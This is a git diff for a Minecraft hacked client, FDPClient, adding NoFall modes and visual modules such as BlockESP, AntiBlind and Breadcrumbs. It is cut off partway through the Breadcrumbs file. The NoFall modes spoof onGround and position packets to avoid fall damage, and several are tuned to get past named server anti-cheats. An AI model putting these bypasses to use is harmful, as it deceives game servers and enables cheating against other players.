net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.minecraft.network.play.client.C03PacketPlayer + +class VanillaNofall : NoFallMode("Vanilla") { + override fun onPacket(event: PacketEvent) { + if(event.packet is C03PacketPlayer && mc.thePlayer.fallDistance > 2.5) event.packet.onGround = true + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/other/CubeCraftNofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/other/CubeCraftNofall.kt new file mode 100644 index 0000000..10ccbbf --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/other/CubeCraftNofall.kt @@ -0,0 +1,14 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.other + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.minecraft.network.play.client.C03PacketPlayer + +class CubeCraftNofall : NoFallMode("CubeCraft") { + override fun onNoFall(event: UpdateEvent) { + if (mc.thePlayer.fallDistance > 2f) { + mc.thePlayer.onGround = false + mc.netHandler.addToSendQueue(C03PacketPlayer(true)) + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/packet/Packet1Nofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/packet/Packet1Nofall.kt new file mode 100644 index 0000000..abe7022 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/packet/Packet1Nofall.kt @@ -0,0 +1,33 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.packet + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.minecraft.network.play.client.C03PacketPlayer + +class Packet1Nofall : NoFallMode("Packet1") { + private var packet1Count = 0 + private var packetModify = false + override fun onEnable() { + packet1Count = 0 + packetModify = false + } + override fun onNoFall(event: UpdateEvent) { + if (mc.thePlayer.fallDistance.toInt() / 3 > packet1Count) { + packet1Count = mc.thePlayer.fallDistance.toInt() / 3 + packetModify = true + } + if (mc.thePlayer.onGround) { + packet1Count = 0 + } + } + + override fun onPacket(event: PacketEvent) { + if(event.packet is C03PacketPlayer) { + if(packetModify) { + event.packet.onGround = true + packetModify = false + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/packet/Packet2Nofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/packet/Packet2Nofall.kt new file mode 100644 index 0000000..4056f65 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/packet/Packet2Nofall.kt @@ -0,0 +1,33 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.packet + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.minecraft.network.play.client.C03PacketPlayer + +class Packet2Nofall : NoFallMode("Packet2") { + private var packet1Count = 0 + private var packetModify = false + override fun onEnable() { + packet1Count = 0 + packetModify = false + } + override fun onNoFall(event: UpdateEvent) { + if (mc.thePlayer.fallDistance.toInt() / 2 > packet1Count) { + packet1Count = mc.thePlayer.fallDistance.toInt() / 2 + packetModify = true + } + if (mc.thePlayer.onGround) { + packet1Count = 0 + } + } + + override fun onPacket(event: PacketEvent) { + if(event.packet is C03PacketPlayer) { + if(packetModify) { + event.packet.onGround = true + packetModify = false + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/packet/PacketNofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/packet/PacketNofall.kt new file mode 100644 index 0000000..9f58334 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/packet/PacketNofall.kt @@ -0,0 +1,14 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.packet + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.minecraft.network.play.client.C03PacketPlayer + +class PacketNofall : NoFallMode("Packet") { + override fun onNoFall(event: UpdateEvent) { + if (mc.thePlayer.fallDistance - mc.thePlayer.motionY > 3f){ + mc.netHandler.addToSendQueue(C03PacketPlayer(true)) + mc.thePlayer.fallDistance = 0f + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/spartan/SpartanNofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/spartan/SpartanNofall.kt new file mode 100644 index 0000000..a4924de --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/spartan/SpartanNofall.kt @@ -0,0 +1,21 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.spartan + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.ccbluex.liquidbounce.utils.timer.TickTimer +import net.minecraft.network.play.client.C03PacketPlayer + +class SpartanNofall : NoFallMode("Spartan") { + private val spartanTimer = TickTimer() + override fun onEnable() { + spartanTimer.reset() + } + override fun onNoFall(event: UpdateEvent) { + spartanTimer.update() + if (mc.thePlayer.fallDistance > 1.5 && spartanTimer.hasTimePassed(10)) { + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 10, mc.thePlayer.posZ, true)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - 10, mc.thePlayer.posZ, true)) + spartanTimer.reset() + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/verus/VerusNofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/verus/VerusNofall.kt new file mode 100644 index 0000000..af58e5a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/verus/VerusNofall.kt @@ -0,0 +1,41 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.verus + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.minecraft.network.play.client.C03PacketPlayer + +class VerusNofall : NoFallMode("Verus") { + private var needSpoof = false + private var packetModify = false + private var packet1Count = 0 + override fun onEnable() { + needSpoof = false + packetModify = false + packet1Count = 0 + } + + override fun onPacket(event: PacketEvent) { + if(event.packet is C03PacketPlayer && needSpoof) { + event.packet.onGround = true + needSpoof = false + } + } + override fun onNoFall(event: UpdateEvent) { + if (mc.thePlayer.fallDistance - mc.thePlayer.motionY > 3) { + mc.thePlayer.motionY = 0.0 + mc.thePlayer.fallDistance = 0.0f + mc.thePlayer.motionX *= 0.6 + mc.thePlayer.motionZ *= 0.6 + needSpoof = true + } + + if (mc.thePlayer.fallDistance.toInt() / 3 > packet1Count) { + packet1Count = mc.thePlayer.fallDistance.toInt() / 3 + packetModify = true + } + if (mc.thePlayer.onGround) { + packet1Count = 0 + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/vulcan/OldVulcanNofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/vulcan/OldVulcanNofall.kt new file mode 100644 index 0000000..3f31e6a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/vulcan/OldVulcanNofall.kt @@ -0,0 +1,49 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.vulcan + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.network.play.client.C03PacketPlayer + +class OldVulcanNofall : NoFallMode("OldVulcan") { + private var vulCanNoFall = false + private var vulCantNoFall = false + private var nextSpoof = false + private var doSpoof = false + override fun onEnable() { + vulCanNoFall = false + vulCantNoFall = false + nextSpoof = false + doSpoof = false + } + override fun onNoFall(event: UpdateEvent) { + if(!vulCanNoFall && mc.thePlayer.fallDistance > 3.25) { + vulCanNoFall = true + } + if(vulCanNoFall && mc.thePlayer.onGround && vulCantNoFall) { + vulCantNoFall = false + } + if(vulCantNoFall) return + if(nextSpoof) { + mc.thePlayer.motionY = -0.1 + mc.thePlayer.fallDistance = -0.1f + MovementUtils.strafe(0.3f) + nextSpoof = false + } + if(mc.thePlayer.fallDistance > 3.5625f) { + mc.thePlayer.fallDistance = 0.0f + doSpoof = true + nextSpoof = true + } + } + + override fun onPacket(event: PacketEvent) { + if(event.packet is C03PacketPlayer && doSpoof) { + event.packet.onGround = true + doSpoof = false + event.packet.y = Math.round(mc.thePlayer.posY*2).toDouble() / 2 + mc.thePlayer.setPosition(mc.thePlayer.posX, event.packet.y, mc.thePlayer.posZ) + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/vulcan/Vulcan288NoFall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/vulcan/Vulcan288NoFall.kt new file mode 100644 index 0000000..24f312c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/vulcan/Vulcan288NoFall.kt @@ -0,0 +1,29 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.vulcan + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.ccbluex.liquidbounce.utils.misc.FallingPlayer +import net.minecraft.network.play.client.C03PacketPlayer + +class Vulcan288NoFall : NoFallMode("Vulcan2.8.8") { + override fun onPacket(event: PacketEvent) { + val player = mc.thePlayer ?: return + val packet = event.packet + + if (packet is C03PacketPlayer.C04PacketPlayerPosition) { + val fallingPlayer = FallingPlayer(mc.thePlayer) + if (player.fallDistance > 2.5 && player.fallDistance < 50) { + // Checks to prevent fast falling to void. + if (fallingPlayer.findCollision(500) != null) { + packet.onGround = true + + player.motionZ *= 0.0 + player.motionX *= 0.0 + player.motionY *= 0.0 + player.motionY = -99.887575 + player.isSneaking = true + } + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/AntiBlind.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/AntiBlind.kt new file mode 100644 index 0000000..03b12a0 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/AntiBlind.kt @@ -0,0 +1,63 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.visual + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.ClientShutdownEvent +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.potion.Potion +import net.minecraft.potion.PotionEffect + +@ModuleInfo(name = "AntiBlind", category = ModuleCategory.VISUAL) +object AntiBlind : Module() { + + val confusionEffectValue = BoolValue("Confusion", true) + val pumpkinEffectValue = BoolValue("Pumpkin", true) + val fireEffectValue = FloatValue("FireAlpha", 0.3f, 0f, 1f) + private val fullBrightValue = BoolValue("FullBright", true) + private val fullBrightModeValue = ListValue("FullBrightMode", arrayOf("None", "Gamma", "NightVision"), "Gamma").displayable { fullBrightValue.get() } + val bossHealthValue = BoolValue("Boss-Health", true) + + private var prevGamma = -1f + + override fun onEnable() { + prevGamma = mc.gameSettings.gammaSetting + } + + override fun onDisable() { + if (prevGamma == -1f) return + mc.gameSettings.gammaSetting = prevGamma + prevGamma = -1f + if (mc.thePlayer != null) mc.thePlayer.removePotionEffectClient(Potion.nightVision.id) + } + + @EventTarget(ignoreCondition = true) + fun onUpdate(event: UpdateEvent) { + if (state || FDPClient.moduleManager[XRay::class.java]!!.state) { + if(fullBrightValue.get()) { + when (fullBrightModeValue.get().lowercase()) { + "gamma" -> if (mc.gameSettings.gammaSetting <= 100f) mc.gameSettings.gammaSetting++ + "nightvision" -> mc.thePlayer.addPotionEffect(PotionEffect(Potion.nightVision.id, 1337, 1)) + } + } + } else if (prevGamma != -1f) { + mc.gameSettings.gammaSetting = prevGamma + prevGamma = -1f + } + } + + @EventTarget(ignoreCondition = true) + fun onShutdown(event: ClientShutdownEvent) { + onDisable() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/BlockESP.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/BlockESP.kt new file mode 100644 index 0000000..a4d70c7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/BlockESP.kt @@ -0,0 +1,204 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.visual + +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.* +import net.ccbluex.liquidbounce.utils.block.BlockUtils.getBlock +import net.ccbluex.liquidbounce.utils.block.BlockUtils.getBlockName +import net.ccbluex.liquidbounce.utils.render.ColorUtils.rainbow +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.features.value.* +import net.ccbluex.liquidbounce.utils.block.BlockUtils +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.minecraft.block.Block +import net.minecraft.block.BlockLiquid +import net.minecraft.init.Blocks +import net.minecraft.util.BlockPos +import java.awt.Color + +@ModuleInfo(name = "BlockESP", category = ModuleCategory.VISUAL) +object BlockESP : Module() { + + private val modeValue = ListValue("Mode", arrayOf("Box", "OtherBox", "Outline", "2D"), "Box") + private val outlineWidthValue = FloatValue("Outline-Width", 3f, 0.5f, 5f).displayable { modeValue.equals("Outline") } + private val blockValue = BlockValue("Block", 168) + private val radiusValue = IntegerValue("Radius", 40, 5, 120) + private val colorRedValue = IntegerValue("R", 255, 0, 255).displayable { !colorRainbowValue.get() } + private val colorGreenValue = IntegerValue("G", 179, 0, 255).displayable { !colorRainbowValue.get() } + private val colorBlueValue = IntegerValue("B", 72, 0, 255).displayable { !colorRainbowValue.get() } + private val colorRainbowValue = BoolValue("Rainbow", false) + private val searchTimer = MSTimer() + private val posList: MutableList<BlockPos> = ArrayList() + private var color = Color.CYAN + private var thread: Thread? = null + private val waterMode = ListValue("WaterMode", arrayOf("Box", "2D"), "Box") + private val waterRadiusValue = IntegerValue("WaterRadius", 40, 5, 120) + private val waterLimitValue = IntegerValue("WaterLimit", 128, 0, 1024) + private val waterRedValue = IntegerValue("WaterR", 52, 0, 255) + private val waterGreenValue = IntegerValue("WaterG", 129, 0, 255) + private val waterBlueValue = IntegerValue("WaterB", 184, 0, 255) + private val waterRainbow = BoolValue("WaterRainbow", false) + private val waterEnable + get() = waterLimitValue.get() != 0 + private val waterSearchTimer = MSTimer() + private val waterPosList: MutableList<BlockPos> = ArrayList() + private var waterThread: Thread? = null + + private val lavaMode = ListValue("LavaMode", arrayOf("Box", "2D"), "Box") + private val lavaRadiusValue = IntegerValue("LavaRadius", 40, 5, 120) + private val lavaLimitValue = IntegerValue("LavaLimit", 128, 0, 1024) + private val lavaRedValue = IntegerValue("LavaR", 250, 0, 255) + private val lavaGreenValue = IntegerValue("LavaG", 132, 0, 255) + private val lavaBlueValue = IntegerValue("LavaB", 43, 0, 255) + private val lavaRainbow = BoolValue("LavaRainbow", false) + + private val lavaEnable + get() = lavaLimitValue.get() != 0 + private val lavaSearchTimer = MSTimer() + private val lavaPosList: MutableList<BlockPos> = ArrayList() + private var lavaThread: Thread? = null + + @EventTarget + fun onUpdate(event: UpdateEvent?) { + color = if (colorRainbowValue.get()) rainbow() else Color( + colorRedValue.get(), + colorGreenValue.get(), + colorBlueValue.get() + ) + if (searchTimer.hasTimePassed(1000L) && (thread == null || !thread!!.isAlive)) { + val radius = radiusValue.get() + val selectedBlock = Block.getBlockById(blockValue.get()) + if (selectedBlock == null || selectedBlock === Blocks.air) return + thread = Thread({ + val blockList: MutableList<BlockPos> = ArrayList() + for (x in -radius until radius) { + for (y in radius downTo -radius + 1) { + for (z in -radius until radius) { + val xPos = mc.thePlayer.posX.toInt() + x + val yPos = mc.thePlayer.posY.toInt() + y + val zPos = mc.thePlayer.posZ.toInt() + z + val blockPos = BlockPos(xPos, yPos, zPos) + val block = getBlock(blockPos) + if (block === selectedBlock) blockList.add(blockPos) + } + } + } + searchTimer.reset() + synchronized(posList) { + posList.clear() + posList.addAll(blockList) + } + }, "BlockESP-BlockFinder") + thread!!.start() + } + + if(waterEnable) if (waterSearchTimer.hasTimePassed(1000L) && (waterThread == null || !waterThread!!.isAlive)) { + val radius = waterRadiusValue.get() + waterThread = Thread({ + val blockList: MutableList<BlockPos> = ArrayList() + for (x in -radius until radius) { + for (y in radius downTo -radius + 1) { + for (z in -radius until radius) { + val thePlayer = mc.thePlayer ?: return@Thread + val xPos = thePlayer.posX.toInt() + x + val yPos = thePlayer.posY.toInt() + y + val zPos = thePlayer.posZ.toInt() + z + val blockPos = BlockPos(xPos, yPos, zPos) + val block = BlockUtils.getBlock(blockPos) + if (block == Blocks.water && (mc.theWorld?.getBlockState(blockPos)?.getValue(BlockLiquid.LEVEL) ?: 1) == 0 && blockList.size < waterLimitValue.get()) blockList.add(blockPos) + } + } + } + waterSearchTimer.reset() + synchronized(waterPosList) { + waterPosList.clear() + waterPosList.addAll(blockList) + } + }, "BlockESP-WaterFinder") + waterThread!!.start() + } + + if(lavaEnable) if (lavaSearchTimer.hasTimePassed(1000L) && (lavaThread == null || !lavaThread!!.isAlive)) { + val radius = lavaRadiusValue.get() + lavaThread = Thread({ + val blockList: MutableList<BlockPos> = ArrayList() + for (x in -radius until radius) { + for (y in radius downTo -radius + 1) { + for (z in -radius until radius) { + val thePlayer = mc.thePlayer ?: return@Thread + val xPos = thePlayer.posX.toInt() + x + val yPos = thePlayer.posY.toInt() + y + val zPos = thePlayer.posZ.toInt() + z + val blockPos = BlockPos(xPos, yPos, zPos) + val block = BlockUtils.getBlock(blockPos) + if (block == Blocks.lava && (mc.theWorld?.getBlockState(blockPos)?.getValue(BlockLiquid.LEVEL) ?: 1) == 0 && blockList.size < lavaLimitValue.get()) blockList.add(blockPos) + } + } + } + lavaSearchTimer.reset() + synchronized(lavaPosList) { + lavaPosList.clear() + lavaPosList.addAll(blockList) + } + }, "BlockESP-LavaFinder") + lavaThread!!.start() + } + + } + + + @EventTarget + fun onRender3D(event: Render3DEvent?) { + synchronized(posList) { + for (blockPos in posList) { + when (modeValue.get().lowercase()) { + "box" -> { + RenderUtils.drawBlockBox(blockPos, color, true, true, outlineWidthValue.get()) + } + "otherbox" -> { + RenderUtils.drawBlockBox(blockPos, color, false, true, outlineWidthValue.get()) + } + "outline" -> { + RenderUtils.drawBlockBox(blockPos, color, true, false, outlineWidthValue.get()) + } + "2d" -> { + RenderUtils.draw2D(blockPos, color.rgb, Color.BLACK.rgb) + } + } + } + + if (waterEnable) synchronized(waterPosList) { + for (blockPos in waterPosList) { + val color = if (waterRainbow.get()) ColorUtils.rainbow() else Color(waterRedValue.get(), waterGreenValue.get(), waterBlueValue.get()) + when (waterMode.get().toLowerCase()) { + "box" -> RenderUtils.drawBlockBox(blockPos, color, true) + "2d" -> RenderUtils.draw2D(blockPos, color.rgb, Color.BLACK.rgb) + } + } + } + + if (lavaEnable) synchronized(lavaPosList) { + for (blockPos in lavaPosList) { + val color = if (lavaRainbow.get()) ColorUtils.rainbow() else Color(lavaRedValue.get(), lavaGreenValue.get(), lavaBlueValue.get()) + when (lavaMode.get().toLowerCase()) { + "box" -> RenderUtils.drawBlockBox(blockPos, color, true) + "2d" -> RenderUtils.draw2D(blockPos, color.rgb, Color.BLACK.rgb) + } + } + } + } + } + + override val tag: String + get() = getBlockName(blockValue.get()) +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/BlockOverlay.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/BlockOverlay.kt new file mode 100644 index 0000000..64ad55c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/BlockOverlay.kt @@ -0,0 +1,102 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.visual + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render2DEvent +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.block.BlockUtils.canBeClicked +import net.ccbluex.liquidbounce.utils.block.BlockUtils.getBlock +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.minecraft.block.Block +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.util.BlockPos +import org.lwjgl.opengl.GL11 +import java.awt.Color + +@ModuleInfo(name = "BlockOverlay", category = ModuleCategory.VISUAL) +object BlockOverlay : Module() { + + private val colorRedValue = IntegerValue("Red", 68, 0, 255).displayable { !colorRainbowValue.get() } + private val colorGreenValue = IntegerValue("Green", 117, 0, 255).displayable { !colorRainbowValue.get() } + private val colorBlueValue = IntegerValue("Blue", 255, 0, 255).displayable { !colorRainbowValue.get() } + private val colorAlphaValue = IntegerValue("Alpha", 100, 0, 255) + private val colorRainbowValue = BoolValue("Rainbow", false) + private val colorWidthValue = FloatValue("LineWidth", 2.0F, 0.0F, 10.0F) + private val infoValue = BoolValue("Info", false) + + private val currentBlock: BlockPos? + get() { + val blockPos = mc.objectMouseOver?.blockPos ?: return null + + if (canBeClicked(blockPos) && mc.theWorld.worldBorder.contains(blockPos)) { + return blockPos + } + + return null + } + + @EventTarget + fun onRender3D(event: Render3DEvent) { + val blockPos = currentBlock ?: return + val block = mc.theWorld.getBlockState(blockPos).block ?: return + val partialTicks = event.partialTicks + val color = if (colorRainbowValue.get()) ColorUtils.rainbowWithAlpha(colorAlphaValue.get()) else Color(colorRedValue.get(), colorGreenValue.get(), colorBlueValue.get(), colorAlphaValue.get()) + + GlStateManager.enableBlend() + GlStateManager.tryBlendFuncSeparate(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA, GL11.GL_ONE, GL11.GL_ZERO) + RenderUtils.glColor(color) + GL11.glLineWidth(colorWidthValue.get()) + GlStateManager.disableTexture2D() + GlStateManager.depthMask(false) + + block.setBlockBoundsBasedOnState(mc.theWorld, blockPos) + + val x = mc.thePlayer.lastTickPosX + (mc.thePlayer.posX - mc.thePlayer.lastTickPosX) * partialTicks + val y = mc.thePlayer.lastTickPosY + (mc.thePlayer.posY - mc.thePlayer.lastTickPosY) * partialTicks + val z = mc.thePlayer.lastTickPosZ + (mc.thePlayer.posZ - mc.thePlayer.lastTickPosZ) * partialTicks + + val axisAlignedBB = block.getSelectedBoundingBox(mc.theWorld, blockPos) + .expand(0.0020000000949949026, 0.0020000000949949026, 0.0020000000949949026) + .offset(-x, -y, -z) + + RenderUtils.drawSelectionBoundingBox(axisAlignedBB) + RenderUtils.drawFilledBox(axisAlignedBB) + GlStateManager.depthMask(true) + GlStateManager.enableTexture2D() + GlStateManager.disableBlend() + GlStateManager.resetColor() + } + + @EventTarget + fun onRender2D(event: Render2DEvent) { + if (infoValue.get()) { + val blockPos = currentBlock ?: return + val block = getBlock(blockPos) ?: return + + val info = "${block.localizedName} §7ID: ${Block.getIdFromBlock(block)}" + + RenderUtils.drawBorderedRect( + event.scaledResolution.scaledWidth / 2 - 2F, + event.scaledResolution.scaledHeight / 2 + 5F, + event.scaledResolution.scaledWidth / 2 + Fonts.font40.getStringWidth(info) + 2F, + event.scaledResolution.scaledHeight / 2 + 16F, + 3F, Color.BLACK.rgb, Color.BLACK.rgb + ) + GlStateManager.resetColor() + Fonts.font40.drawString(info, event.scaledResolution.scaledWidth / 2, event.scaledResolution.scaledHeight / 2 + 7, + Color.WHITE.rgb) + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/Breadcrumbs.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/Breadcrumbs.kt new file mode 100644 index 0000000..0b72c28 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/Breadcrumbs.kt @@ -0,0 +1,211 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.visual + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.event.WorldEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.EntityUtils +import net.ccbluex.liquidbounce.utils.render.ColorUtils.rainbow +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.entity.EntityLivingBase +import org.lwjgl.opengl.GL11 +import org.lwjgl.util.glu.GLU +import org.lwjgl.util.glu.Sphere +import java.awt.Color + +@ModuleInfo(name = "Breadcrumbs", category = ModuleCategory.VISUAL) +object Breadcrumbs : Module() { + + private val typeValue = ListValue("Type", arrayOf("Line", "Rect", "Sphere", "Rise"), "Line") + val colorRedValue = IntegerValue("R", 255, 0, 255).displayable { !colorRainbowValue.get() } + val colorGreenValue = IntegerValue("G", 255, 0, 255).displayable { !colorRainbowValue.get() } + val colorBlueValue = IntegerValue("B", 255, 0, 255).displayable { !colorRainbowValue.get() } + private val colorAlphaValue = IntegerValue("Alpha", 255, 0, 255) + val colorRainbowValue = BoolValue("Rainbow", false) + private val fadeValue = BoolValue("Fade", true) + private val drawThePlayerValue = BoolValue("DrawThePlayer", true) + private val drawTargetsValue = BoolValue("DrawTargets", true) + private val fadeTimeValue = IntegerValue("FadeTime", 5, 1, 20).displayable { fadeValue.get() } + private val precisionValue = IntegerValue("Precision", 4, 1, 20) + private val lineWidthValue = IntegerValue("LineWidth", 1, 1, 10).displayable { typeValue.equals("Line") } + private val sphereScaleValue = FloatValue("SphereScale", 0.6f, 0.1f, 2f).displayable { typeValue.equals("Sphere") || typeValue.equals("Rise")} + private val onlyThirdPersonValue = BoolValue("OnlyThirdPerson", true) + + private val points = mutableMapOf<Int, MutableList<BreadcrumbPoint>>() + + val color: Color + get() = if (colorRainbowValue.get()) rainbow() else Color(colorRedValue.get(), colorGreenValue.get(), colorBlueValue.get()) + + private val sphereList = GL11.glGenLists(1) + + init { + GL11.glNewList(sphereList, GL11.GL_COMPILE) + + val shaft = Sphere() + shaft.drawStyle = GLU.GLU_FILL + shaft.draw(0.3f, 25, 10) + + GL11.glEndList() + } + + @EventTarget + fun onRender3D(event: Render3DEvent) { + if (onlyThirdPersonValue.get() && mc.gameSettings.thirdPersonView == 0) return + + val fTime = fadeTimeValue.get() * 1000 + val fadeSec = System.currentTimeMillis() - fTime + val colorAlpha = colorAlphaValue.get() / 255.0f + + GL11.glPushMatrix() + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA) + GL11.glEnable(GL11.GL_BLEND) + GL11.glDisable(GL11.GL_DEPTH_TEST) + mc.entityRenderer.disableLightmap() + val renderPosX = mc.renderManager.viewerPosX + val renderPosY = mc.renderManager.viewerPosY + val renderPosZ = mc.renderManager.viewerPosZ + points.forEach { (_, mutableList) -> + var lastPosX = 114514.0 + var lastPosY = 114514.0 + var lastPosZ = 114514.0 + when(typeValue.get().lowercase()) { + "line" -> { + 